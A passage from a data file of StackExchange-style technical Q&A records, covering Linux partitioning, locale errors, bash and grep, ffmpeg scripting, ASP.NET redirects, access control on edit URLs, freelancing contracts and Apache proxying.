printModel: ATA Hitachi HTS72503 (scsi)Disk /dev/sda: 320GBSector size (logical/physical): 512B/4096BPartition Table: msdosNumber Start End Size Type File system Flags 1 1049kB 538MB 537MB primary ext4 boot 2 538MB 272GB 271GB primary lvm 3 272GB 320GB 48,3GB primary[root@SERVER ~]# [root@SERVER ~]# parted -s /dev/sda print freeModel: ATA Hitachi HTS72503 (scsi)Disk /dev/sda: 320GBSector size (logical/physical): 512B/4096BPartition Table: msdosNumber Start End Size Type File system Flags 32,3kB 1049kB 1016kB Free Space 1 1049kB 538MB 537MB primary ext4 boot 2 538MB 272GB 271GB primary lvm 3 272GB 320GB 48,3GB primary 320GB 320GB 352kB Free Space[root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# env LC_MESSAGES=EN ls -la /dev/sda*brw-rw----. 1 root disk 8, 0 Jun 29 18:53 /dev/sdabrw-rw----. 1 root disk 8, 1 Jun 28 12:56 /dev/sda1brw-rw----. 1 root disk 8, 2 Jun 28 12:56 /dev/sda2[root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# partprobeWarning: WARNING: the kernel failed to re-read the partition table on /dev/sda (Az eszkz vagy erforrs foglalt). As a result, it may not reflect all of your changes until after reboot.[root@SERVER ~]#[root@SERVER ~]#[root@SERVER ~]# env LC_MESSAGES=EN ls -la /dev/sda*brw-rw----. 1 root disk 8, 0 Jun 29 18:55 /dev/sdabrw-rw----. 1 root disk 8, 1 Jun 28 12:56 /dev/sda1brw-rw----. 1 root disk 8, 2 Jun 28 12:56 /dev/sda2[root@SERVER ~]# [root@SERVER ~]# env LC_MESSAGES=EN fdisk -lDisk /dev/sda: 320.1 GB, 320072933376 bytes255 heads, 63 sectors/track, 38913 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesSector size (logical/physical): 512 bytes / 4096 bytesI/O size (minimum/optimal): 4096 bytes / 4096 bytesDisk identifier: 0x0007e24d Device Boot Start End Blocks Id System/dev/sda1 * 1 66 524288 83 LinuxPartition 1 does not end on cylinder boundary./dev/sda2 66 33039 264859648 8e Linux LVM/dev/sda3 33039 38914 47185920 83 Linux[root@SERVER ~]# head -1 /etc/issueScientific Linux release 6.4 (Carbon)[root@SERVER ~]# UPDATE: [root@SERVER ~]# kpartx -av /dev/sdadevice-mapper: reload ioctl on sda1 failed: Invalid argumentcreate/reload failed on sda1add map sda1 (0:0): 0 1048576 linear /dev/sda 2048device-mapper: reload ioctl on sda2 failed: Invalid argumentcreate/reload failed on sda2add map sda2 (0:0): 0 529719296 linear /dev/sda 1050624device-mapper: reload ioctl on sda3 failed: Invalid argumentcreate/reload failed on sda3add map sda3 (0:0): 0 94371840 linear /dev/sda 530769920[root@SERVER ~]# [root@SERVER ~]# env LC_MESSAGES=EN ls -la /dev/sda*brw-rw----. 1 root disk 8, 0 Jun 29 22:05 /dev/sdabrw-rw----. 1 root disk 8, 1 Jun 28 12:56 /dev/sda1brw-rw----. 1 root disk 8, 2 Jun 28 12:56 /dev/sda2[root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# sh rescan-scsi-bus.sh WARN: /usr/bin/sg_inq not present -- please install sg3_utils or rescan-scsi-bus.sh might not fully work.Host adapter 0 (ata_piix) found.Host adapter 1 (ata_piix) found.Host adapter 2 (ahci) found.Host adapter 3 (ahci) found.Host adapter 4 (ahci) found.Scanning SCSI subsystem for new devicesScanning host 0 for SCSI target IDs 0 1 2 3 4 5 6 7, all LUNs Scanning for device 0 0 0 0 ... OLD: Host: scsi0 Channel: 00 Id: 00 Lun: 00 Vendor: MATSHITA Model: DVD/CDRW UJDA775 Rev: CB03 Type: CD-ROM ANSI SCSI revision: 05Scanning host 1 for SCSI target IDs 0 1 2 3 4 5 6 7, all LUNsScanning host 2 for SCSI target IDs 0 1 2 3 4 5 6 7, all LUNs Scanning for device 2 0 0 0 ... OLD: Host: scsi2 Channel: 00 Id: 00 Lun: 00 Vendor: ATA Model: Hitachi HTS72503 Rev: GHBO Type: Direct-Access ANSI SCSI revision: 05Scanning host 3 for SCSI target IDs 0 1 2 3 4 5 6 7, all LUNsScanning host 4 for SCSI target IDs 0 1 2 3 4 5 6 7, all LUNs0 new device(s) found. 0 device(s) removed. [root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# env LC_MESSAGES=EN ls -la /dev/sda*brw-rw----. 1 root disk 8, 0 Jun 29 22:05 /dev/sdabrw-rw----. 1 root disk 8, 1 Jun 28 12:56 /dev/sda1brw-rw----. 1 root disk 8, 2 Jun 28 12:56 /dev/sda2[root@SERVER ~]# " , "title": "Why doesn't /dev/sda3 created?" , "tags": "partition;scientific linux" , "accepted_answer": "You are running an old version of parted which still uses the BLKRRPART ioctl to have the kernel reload the partition table, instead of the newer BLKPG ioctl. BLKRRPART only works on a disk that does not have any partitions in use, hence, the error about informing the kernel of the changes, and suggesting you reboot.Update to a recent version of parted and you won't get this error, or just reboot for the changes to take affect, as the message said. Depending on how old the util-linux package is on your system, you may be able to use partx -a or for more recent releases, partx -u to add the new partition without rebooting." } { "id": "_unix.314715" , "question": "For historical reasons, deploying one of our tools relies on two different versions of Java at various stages in the process. The way this is handled is by repeatedly editing the JAVA_HOME variable in .bash_profile.For example, the deployment instructions has a step in the middle like this:Edit .bash_profile to uncomment the following line: JAVA_HOME=/path//to/java/jdk1.6.0_07/source .bash_profile~~First deployment steps~~Edit .bash_profile to comment out the previous line and uncomment the following line:JAVA_HOME=/path//to/java/jdk1.7.0_47/source .bash_profile~~More deployment steps~~This is quite obviously a braindead way of doing this.What's the quickest/shortest/most correct way of changing an environment variable on the fly?" , "title": "Quickly changing values of environment variables in .bash_profile" , "tags": "bash;shell" } { "id": "_vi.3018" , "question": "When I have heredoc and I format it with gq I want it to be aligned in a way so each line starts at the same column like this: Long text goes here ... 80 chars | <- whitespace preserved ... 80 chars | <- still whitespace ... 80 chars |Here is what I get instead: Long text goes here ... 80 chars |<- whitespace preserved ... 80 chars |<- still whitespace ... 80 chars |Is there a way to reflow the text while preserving the left whitespace?" , "title": "`gq` with left whitespace intact" , "tags": "formatting" , "accepted_answer": ":set autoindent will ensure that new lines have the same indentation as the previous line. This will also happen when you hit enter in insert mode (or any other time you add a new line, like o/O).Note that this is a local setting, so it would have to be set in each buffer you want this to happen in. To get around this, you can use autocmds or filetype files so that the setting is applied whenever you open a new buffer with a certain filetype." } { "id": "_webmaster.23462" , "question": "I need some urgent advice please with regard to Google analytics and multiple domains, and how best to handle them.Got a very sensitive customer who has a number of domains:EGsomethingvauxhall.co.uk, somthing-vauxhall.co.uk, something-group.co.uk, somethinggroup.co.uk, somethinggroup.com etcI was under the impression it was always best to funnel all domains down to a single master domain. For example all the domains hitting this site are forwarded to www.somethinggroup.com.Now I'd heard it was best to do this using a 301 Redirect. if memory serves. For a number of reasons I was unable to do this due to the setup on our server, so instead had to code forwarding manually in the codebehind (asp.NET). Like this: if(domain != www.somethinggroup.com) { string forwardURL = http://www.somethinggroup.com/; if(path != ) { forwardURL = forwardURL + path; } if(queryString != ) { forwardURL = forwardURL + ? + queryString; } Response.Redirect(forwardURL); }This now looks like this was a really bad idea because although the traffic levels look fine across the site, it's screwed up things like referring sites etc.My question is this really:a) Was this a bad move?b) Would a 301 redirect me better from an analytics point of view? Or is it best just to let people hit the site using whatever domain name?" , "title": "Google analytics and multiple domains" , "tags": "google;domains;google analytics;multiple domains;top level domains" , "accepted_answer": "There are a variety of usability and historical SEO reasons to use permanent redirects over temporary redirects, however, the need to do so for SEO purposes has been mitigated by the advent of canonical link specifications (and you could use the setDomainName function to force somethinggroup.com for analytics purposes) - still, that's no reason to avoid using a permanent redirect if that's what you intend to do.The Response.Redirect() method issues a 302 Object Moved response - this is not the same as a 301 Moved Permanently response.You can change your ASP.NET code to send the proper redirect headers:if(domain != www.somethinggroup.com){ string forwardURL = http://www.somethinggroup.com/; if(path != ) { forwardURL = forwardURL + path; } if(queryString != ) { forwardURL = forwardURL + ? + queryString; } Response.Status = 301 Moved Permanently; Response.AddHeader(Location, forwardURL);}" } { "id": "_unix.34945" , "question": "I have a default, unchanged installation of the Mumble server on Debian Squeeze (package mumble-server). On a previous setup, starting the server (called murmurd) on boot using the default init scripts worked fine. On a new setup, that seems to me to be identical in every way, murmurd doesn't seem to bind to a network address on boot. No clients can thus connect until I restart the process after booting.The logs are quite telling. On boot:<W>2012-03-25 00:15:01.543 Murmur 1.2.2 (1.2.2-6+squeeze1) running onX11: Debian GNU/Linux 6.0.4 (squeeze): Booting servers <W>2012-03-2500:15:01.617 1 => Announcing server via bonjour <W>2012-03-2500:15:01.650 1 => Not registering server as publicand no clients can connect. Using service mumble-server restart after boot, however, gives:<W>2012-03-25 00:22:27.529 Murmur 1.2.2 (1.2.2-6+squeeze1) running onX11: Debian GNU/Linux 6.0.4 (squeeze): Booting servers <W>2012-03-2500:22:27.549 1 => Server listening on [::]:64738 <W>2012-03-2500:22:27.559 1 => Announcing server via bonjour <W>2012-03-2500:22:27.570 1 => Not registering server as publicNotice the third line.It thus seems to me that the init script tries to start the daemon before the network is up and running. The /etc/rc2.d/S19mumble-server script that comes with the package says, though:# Required-Start: $network $local_fs $remote_fs dbusThe exact same setup works fine on a different machine (also running Debian Squeeze), so I'm beginning to suspect it has something to do with timing on boot, or some other nondeterministic factor.Ideas?" , "title": "Mumble doesn't bind to network address on boot, needs to be restarted (doesn't properly wait for network?)" , "tags": "debian;networking" } { "id": "_softwareengineering.154615" , "question": "I cannot count the number of times I read statements in the vein of 'unit tests are a very important source of documentation of the code under test'. I do not deny they are true.But personally I haven't found myself using them as documentation, ever. For the typical frameworks I use, the method declarations document their behaviour and that's all I need. And I assume the unit tests backup everything stated in that documentation, plus likely some more internal stuff, so on one side it duplicates the ducumentation while on the other it might add some more that is irrelevant.So the question is: when are unit tests used as documentation? When the comments do not cover everything? By developpers extending the source? And what do they expose that can be useful and relevant that the documentation itself cannot expose?" , "title": "Are unit tests really used as documentation?" , "tags": "unit testing;documentation" , "accepted_answer": "They're NOT an ABSOLUTE Reference DocumentationNote that a lot of the following applies to comments as well, as they can get out of sync with the code, like tests (though it's less enforceable).So in the end, the best way to understand code is to have readable working code.If at all possible and not writing hard-wired low-level code sections or particularly tricky conditions were additional documentation will be crucial.Tests can be incomplete:The API changed and wasn't tested,The person who wrote the code wrote the tests for the easiest methods to test first instead of the most important methods to test, and then didn't have the time to finish.Tests can be obsolete.Tests can be short-circuited in non-obvious ways and not actually executed.BUT They're STILL an HELPFUL Documentation ComplementHowever, when in doubt about what a particular class does, especially if rather lengthy, obscure and lacking comments (you know the kind...), I do quickly try to find its test class(es) and check:what they actually try to check (gives a hint about the most important tidbits, except if the developer did the error mentioned above of only implementing the easy tests),and if there are corner cases.Plus, if written using a BDD-style, they give a rather good definition of the class's contract. Open your IDE (or use grep) to see only method names and tada: you have a list of behaviors.Regressions and Bugs Need Tests TooAlso, it's a good practice to write tests for regression and for bug reports: you fix something, you write a test to reproduce the case. When looking back at them, it's a good way to find the relevant bug report and all the details about an old issue, for instance.I'd say they're a good complement to real documentation, and at least a valuable resource in this regard. It's a good tool, if used properly. If you start testing early in your project, and make it a habit, it COULD be a very good reference documentation. On an existing project with bad coding habits already stenching the code base, handle them with care." } { "id": "_webapps.62701" , "question": "I've starred a project on Github. I'd like to receive via email notification of major updates of that project (basically commits on the master branch).I know there is the Watch options but I don't really want to receive emails for all issues and so on, I just want official updates on the project.How can I do this? " , "title": "Github receive updates of starred projects via email of commits on master branch" , "tags": "github;notifications" , "accepted_answer": "Actually there is finally a super simple service doing right what is neededhttps://sibbell.com/Get with github account, and you can get notification of new releases based on watch and/or stars. Totally free! It can get even more granular on a per base repository filter with some premium features, totally awesome!" } { "id": "_unix.173812" , "question": "On my Debian Wheezy VPS I keep getting the errors relating to locale and locale changes, when switching users, for example:-su: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)And when doing almost anything related to installation (apt-get and dpkg):perl: warning: Setting locale failed.perl: warning: Please check that your locale settings: LANGUAGE = (unset), LC_ALL = en_US.UTF-8, LANG = en_US.UTF-8 are supported and installed on your system.perl: warning: Falling back to the standard locale (C).locale: Cannot set LC_CTYPE to default locale: No such file or directorylocale: Cannot set LC_MESSAGES to default locale: No such file or directorylocale: Cannot set LC_ALL to default locale: No such file or directoryI've looked into it, and found several questions about this kind of errors already.The output of locale -a is:locale: Cannot set LC_CTYPE to default locale: No such file or directorylocale: Cannot set LC_MESSAGES to default locale: No such file or directorylocale: Cannot set LC_COLLATE to default locale: No such file or directoryCC.UTF-8POSIXI've also tried installing the locales package, which didn't work either, for example locale-gen, doesn't change anything.Edit: The output of strace locale -a is the following (a whole bunch bunch of text, be warned)execve(/usr/bin/locale, [locale, -a], [/* 13 vars */]) = 0brk(0) = 0x191b000access(/etc/ld.so.nohwcap, F_OK) = -1 ENOENT (No such file or directory)mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe6c1353000access(/etc/ld.so.preload, R_OK) = -1 ENOENT (No such file or directory)open(/etc/ld.so.cache, O_RDONLY) = 3fstat(3, {st_mode=S_IFREG|0644, st_size=30161, ...}) = 0mmap(NULL, 30161, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fe6c134b000close(3) = 0access(/etc/ld.so.nohwcap, F_OK) = -1 ENOENT (No such file or directory)open(/lib/x86_64-linux-gnu/libc.so.6, O_RDONLY) = 3read(3, \\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0>\\0\\1\\0\\0\\0\\300\\357\\1\\0\\0\\0\\0\\0..., 832) = 832fstat(3, {st_mode=S_IFREG|0755, st_size=1603600, ...}) = 0mmap(NULL, 3717176, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fe6c0daa000mprotect(0x7fe6c0f2c000, 2097152, PROT_NONE) = 0mmap(0x7fe6c112c000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x182000) = 0x7fe6c112c000mmap(0x7fe6c1131000, 18488, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fe6c1131000close(3) = 0mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe6c134a000mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe6c1349000mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe6c1348000arch_prctl(ARCH_SET_FS, 0x7fe6c1349700) = 0mprotect(0x7fe6c112c000, 16384, PROT_READ) = 0mprotect(0x606000, 4096, PROT_READ) = 0mprotect(0x7fe6c1355000, 4096, PROT_READ) = 0munmap(0x7fe6c134b000, 30161) = 0brk(0) = 0x191b000brk(0x193c000) = 0x193c000open(/usr/lib/locale/locale-archive, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/share/locale/locale.alias, O_RDONLY) = 3fstat(3, {st_mode=S_IFREG|0644, st_size=2570, ...}) = 0mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe6c1352000read(3, # Locale name alias data base.\\n#..., 4096) = 2570read(3, , 4096) = 0close(3) = 0munmap(0x7fe6c1352000, 4096) = 0open(/usr/lib/locale/en_US.UTF-8/LC_CTYPE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en_US.utf8/LC_CTYPE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en_US/LC_CTYPE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en.UTF-8/LC_CTYPE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en.utf8/LC_CTYPE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en/LC_CTYPE, O_RDONLY) = -1 ENOENT (No such file or directory)write(2, locale: , 8locale: ) = 8write(2, Cannot set LC_CTYPE to default l..., 37Cannot set LC_CTYPE to default locale) = 37write(2, : No such file or directory, 27: No such file or directory) = 27write(2, \\n, 1) = 1open(/usr/lib/locale/en_US.UTF-8/LC_MESSAGES, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en_US.utf8/LC_MESSAGES, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en_US/LC_MESSAGES, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en.UTF-8/LC_MESSAGES, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en.utf8/LC_MESSAGES, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en/LC_MESSAGES, O_RDONLY) = -1 ENOENT (No such file or directory)write(2, locale: , 8locale: ) = 8write(2, Cannot set LC_MESSAGES to defaul..., 40Cannot set LC_MESSAGES to default locale) = 40write(2, : No such file or directory, 27: No such file or directory) = 27write(2, \\n, 1) = 1open(/usr/lib/locale/en_US.UTF-8/LC_COLLATE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en_US.utf8/LC_COLLATE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en_US/LC_COLLATE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en.UTF-8/LC_COLLATE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en.utf8/LC_COLLATE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en/LC_COLLATE, O_RDONLY) = -1 ENOENT (No such file or directory)write(2, locale: , 8locale: ) = 8write(2, Cannot set LC_COLLATE to default..., 39Cannot set LC_COLLATE to default locale) = 39write(2, : No such file or directory, 27: No such file or directory) = 27write(2, \\n, 1) = 1open(/usr/lib/locale/locale-archive, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale, O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 3getdents(3, /* 3 entries */, 32768) = 80getdents(3, /* 0 entries */, 32768) = 0close(3) = 0stat(/usr/lib/locale/C.UTF-8/LC_IDENTIFICATION, {st_mode=S_IFREG|0644, st_size=168, ...}) = 0open(/usr/share/locale/locale.alias, O_RDONLY) = 3fstat(3, {st_mode=S_IFREG|0644, st_size=2570, ...}) = 0mmap(NULL, 2570, PROT_READ, MAP_SHARED, 3, 0) = 0x7fe6c1352000lseek(3, 2570, SEEK_SET) = 2570fstat(3, {st_mode=S_IFREG|0644, st_size=2570, ...}) = 0munmap(0x7fe6c1352000, 2570) = 0close(3) = 0fstat(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 0), ...}) = 0mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe6c1352000write(1, C\\n, 2C) = 2write(1, C.UTF-8\\n, 8C.UTF-8) = 8write(1, POSIX\\n, 6POSIX) = 6exit_group(0) = ?Edit 2: Output of gcc -v:Using built-in specs.COLLECT_GCC=gccCOLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/4.7/lto-wrapperTarget: x86_64-linux-gnuConfigured with: ../src/configure -v --with-pkgversion='Debian 4.7.2-5' --with-bugurl=file:///usr/share/doc/gcc-4.7/README.Bugs --enable-languages=c,c++,go,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.7 --enable-shared --enable-linker-build-id --with-system-zlib --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.7 --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --enable-gnu-unique-object --enable-plugin --enable-objc-gc --with-arch-32=i586 --with-tune=generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnuThread model: posixgcc version 4.7.2 (Debian 4.7.2-5)Edit 3: Sorry but, this is not a duplicate. As I said, I have looked through a ton ton of questions, and none of the answers have helped me or fixed the issue, including the one you nominated as a duplicate. It may seem like a duplicate, and in theory it is, but since my issue is not solved - I don't think reopening an old question would help the issue get solved sooner than opening a new one." , "title": "Locale error on Debian" , "tags": "debian;locale" } { "id": "_softwareengineering.179808" , "question": "In a C++ program that doesn't contain legacy C code, is there a guideline regarding the maximum number of levels of indirection that should be used in the source code? I know that in C (as opposed to C++), some programmers have used pointers to pointers for a multiple dimension array, but for the case of arrays, there are data structures in C++ that can be used to avoid the pointers to pointers. Are users who still create pointers to pointers (or more than this) trying to use pointers to pointers only for performance ETC. reasons? I have tried NOT to use any more than a pointer to a pointer, only in the case that a pointer needed modification; does anyone have any other official or unofficial guidelines or rules regarding the number of levels of indirection? " , "title": "C++ Pointers: Number of levels of Indirection" , "tags": "c++;pointers" } { "id": "_unix.372733" , "question": "I am writing a bash script; I execute a certain command and grep. pfiles $1 2> /dev/null | grep name # $1 Process IdThe response will be something like: sockname: AF_INET6 ::ffff:10.10.50.28 port: 22peername: AF_INET6 ::ffff:10.16.6.150 port: 12295The response can be no lines, 1 line, or 2 lines.In case grep returns no lines (grep return code 1), I abort the script; if I get 1 line I invoke A() or B() if more than 1 line. grep's return code is 0 when the output is 1-2 lines.grep has return value (0 or 1) and output.How can I catch them both ? If I do something like: OUTPUT=$(pfiles $1 2> /dev/null | grep peername)Then variable OUTPUT will have the output (string); I also want the boolean value of grep execution." , "title": "get output and return value of grep in single operation in bash" , "tags": "bash;shell;grep;return status" } { "id": "_unix.93761" , "question": "I want to cut a video into about 10 minute parts like this.ffmpeg -i video.mp4 -ss 00:00:00 -t 00:10:00 -c copy 01.mp4ffmpeg -i video.mp4 -ss 00:10:00 -t 00:10:00 -c copy 02.mp4ffmpeg -i video.mp4 -ss 00:20:00 -t 00:10:00 -c copy 03.mp4With for it will be like this.for i in `seq 10`; do ffmpeg -i video.mp4 -ss 00:${i}0:00 -t 00:10:00 -c copy ${i].mp4; done;But it works only if duration is under a hour.How can I convert number to time format in bash shell?" , "title": "how to convert number to time format in shell script?" , "tags": "bash;shell;time;ffmpeg;arithmetic" , "accepted_answer": "BASH isn't that bad for this problem. You just need to use the very powerful, but underused date command.for i in {1..10}; do hrmin=$(date -u -d@$(($i * 10 * 60)) +%H:%M) outfile=${hrmin/:/-}.mp4 ffmpeg -i video.mp4 -ss ${hrmin}:00 -t 00:10:00 -c copy ${outfile}donedate Command Explaineddate with a -d flags allows you to set which date you want displayed (instead of the current date and time, which is the default). In this case, I am setting it to a UNIX time by prepending the @ symbol before an integer. The integer in this case is the time in ten minute increments (calculated by the BASH built-in calculator: $((...))).The + symbol tells date that you would like to specify a format for displaying the results. In our case, we care only about the hour (%H) and the minutes (%M).And finally, the -u is to display as UTC time instead of local. This is important in this case because we specified the time as UTC when we gave it the UNIX time (UNIX time is always as UTC). The numbers would most likely not start from 0 if you didn't specify -u.BASH Variable Substitution ExplainedThe date command gave us just what we needed. But colons in a file name might be problematic/non-standard. So, we substitute the ':' for a '-'. This can be done by the sed or cut or tr command, but because this is such a simple task, why spawn a new subshell when BASH can do it?Here we use BASH's simple expression substitution. To do this, the variable must be contained within curly braces (${hrmin}) and then use the standard forward slash notation. The first string after the first slash is the search pattern. The second string after the second slash is the substitution.BASH variable substitution and more can be found at http://tldp.org/LDP/abs/html/parameter-substitution.html." } { "id": "_softwareengineering.288818" , "question": "Suppose,There is a user list.<a href=user/5>Edit</a><a href=user/6>Edit</a> When a system user clicked to edit a user info. Then it goes to url to browser like as http://abc.com/user/5He can manually replace 5 to 155 and edit(update) the user info. It is a problem to me. How can I remove this problem?I have an idea: Calling the edit page by ajax. So that the number will be hidden. Is there any good idea?" , "title": "How can I keep browser URL secret when editing data?" , "tags": "php;javascript;html;mysql;jquery" , "accepted_answer": "Your application probably have different actions with different access levels, for example an admin will probably be allowed more things than a simple user. So you better build some data-matrix summarizing user(-roles) access-rights and check brefore treating any request if the current logged-in user (or even unlogged Guest if you happen to have such a role) has the right or not to perform this action. Of course this might look overkill, but if you mind about security you definitely need it. You can NEVER trust the user, you always have to validate server-side." } { "id": "_softwareengineering.115960" , "question": "I am reading the following in a book on algorithms (Cormen's to be specific): That is, we are concerned with how the running time of an algorithm increases with the size of the input in the limit, as the size of the input increases without bound.I can not understand what is the meaning of the phrase: with the size of the input in the limit.What is the limit refering about? UPDATE: Please note that at this point in the book (early fundamentals of chapter 2) there has been no formal definition or mention of Big O or other asymptotic notation except a vague reference on Theta notationAny help?" , "title": "Help on clarification of a formal statement concerning algorithms running time" , "tags": "algorithms;computer science;theory" } { "id": "_softwareengineering.230417" , "question": "I have decided to work as a freelancer. I have developed a software and have successfully given the presentation demo. The client liked it and has agreed to implement the project in his organisation.But the client has asked me make it sure that I wont run away with the money without completing the project. The cost of project is high and it is not possible to complete it without acquiring the advance from the client.What are the practice that is usually followed ? I myself somehow agree with the client query. I know I will be able to complete the project. I do not intend to cheat. But how to prove it to client? What to do in such situation?" , "title": "How to assure client that we will complete our project and won't run away with the money" , "tags": "project management;programming practices;freelancing;project;client" , "accepted_answer": "How do you ensure the builder that you contracted to build an extension to your house won't leave you with a half-finished extension? You sign a contract in which it is specified that payment occurs in several installments, with final payment only after acceptance of the finished product.For software development, the same kind of agreement can be used, especially if it is a longer running project (more than a couple of weeks), with the intermediate payments either based on time (monthly?) or on intermediate deliveries.Regarding the size of payments, the intermediate payments should be enough to cover the costs you make (it shouldn't be needed that you eat into your reserves while working on a paid project), and the final payment should be a significant portion of the total sum to have an incentive to finish the project." } { "id": "_unix.80110" , "question": "I am using a system that runs twm and I am wondering if it is possible to switch between windows using keyboard shortcuts, as I do in gnome with Alt+Tab. " , "title": "switching windows in twm with keyboard shortcuts" , "tags": "x11;keyboard shortcuts;window management;twm" } { "id": "_codereview.173672" , "question": "Code ObjectiveI'm writing an AutoHotkey script which takes in department data copied to the clipboard from a Microsoft Excel spreadsheet. It then uses this data to auto-fill forums in the web-app Kronos Workforce Central.Source DataWhen data is copied from Microsoft Excel, each cell in a row is stored in the clipboard as strings delimited by tabs \\t, with each row separated by newlines \\r\\n.DeptID Job Name Abbreviation Service Line 0368 Administrator ADMIN OPS3945 Programmer PRGRM NON NRSG4596 Software Engineer SFTWRE-ENG NON NRSGCurrent MethodCurrently, I'm parsing this copied-data by splitting the data into an array of rows with StrSplit(), then using a second StrSplit() inside a for-loop to parse my data.; Autofill data from clipboard#d:: addLocationsWindow := Add Locations WinActivate, %addLocationsWindow% ; Window MUST be active rowArray := StrSplit(Clipboard, `r`n) ; Split copied rows from Excel by newlines for index, row in rowArray { tempArray := StrSplit(row, `t) ; Split each row by tabs deptID := tempArray[1] jobName := tempArray[2] If (deptID == ) ; skip empty cells continue IfWinNotActive(addLocationsWindow) ; check for active window { MsgBox '%addLocationsWindow%' window not found. Stopping script... Exit, 1 } ; DoStuff(jobName, deptDisplayName, index) }ReturnThe IssueMy method of string parsing feels hacky and unintuitive. It means I can only manipulate a single row at a time, as each each row's data is only split temporarily. I would need to re-run the costly StrSplit() to access data from a row again.In Java, I could store my Excel data in a single 2D array. Unfortunately, arrays are a bit tricky to use in AutoHotkey, which is why my current code is a bit messy." , "title": "Parse copied data from Excel using AutoHotkey" , "tags": "array;autohotkey" } { "id": "_softwareengineering.206230" , "question": "Forgive the title -- it needs work. I am struggling to find better English to express my issue. Edits encouraged.Example to describe my issue:Checker MethodI have an argument checking method called public static void StringArgs.checkIndexAndCount(String, int, int). Given a string, an index, and a count, confirm the string is not null, and the index & counts are reasonable. Unchecked (runtime) exceptions are used to report errors. There is a battery of unit tests written to check all angles of this method.Layered (or Derived) MethodThe checker method is called by other methods, such as public static String removeByIndexAndCount(String, int, int). The first line of this method checks the arguments by calling the above checker.Unit Test StrategyWhen I write unit tests for the second/layered/derived method, how do I account for the existing set of unit tests for the checker method? It seems to violate duplication/copy-paste principles to simple re-add the same unit tests (modified slightly) from the checker method to the second method.Please advise.My code is Java, but I don't think that particularly relevant, as this same issue could occur in any language." , "title": "Unit test strategy for layered (or derived) method calls" , "tags": "unit testing" } { "id": "_unix.307592" , "question": "I wanted to start the metasploit service to start armitage. But when i am typing in my console the command:sudo service metasploit start It says: Failed to start metasploit.service: Unit metasploit.service not found.I installed metasploit. It is connected to postgresql, so the question is how can I start or install this service?" , "title": "How to start the metasploit service in Linux Mint?" , "tags": "linux mint;services;metasploit" } { "id": "_webmaster.27636" , "question": "So I have a problem - I have my main site on apache web server on debian on port 80; I develop a web server (in some C++ or C#) and it currently runs on port 6666. But some people are living under firewalls and can access only port 80. I wonder if it is possible via apache map all requests to say mysite.com:80/6666/url as if they were to mysite.com:6666/url, not map via redirection, but really make apache stream content from my site to user as if it were in some folder?" , "title": "How to proxy with apache site from same domain but another port as a subfolder?" , "tags": "apache;proxy;configuration" } { "id": "_webmaster.11442" , "question": "Possible Duplicate:Which Content Management System (CMS) should I use? I've been trying to find an image gallery that plays nice with our custom CMS. I've evaluated a number of them, but none of them seems to have the feature list that I would like:Run on LAMP environmentFree software or low license costs (the website belongs to a non-profit organisation)Multi-user supportMultiple albums. We're posting concert pictures, and would like an album per event.Pluggable authentication system. I want to reuse the accounts we have for our CMS. Permissions can be done inside the gallery itself, but I want to have a single sign on solution in a maintainable manner, by writing my own plugin/add-on for the software.Upload support (multiple images at the same time)And preferrably also:Can be integrated into a PHP page layout without IFRAMEsAutomatic resizing of uploaded images to a maximum sizeAbility for visitors to place commentsThis 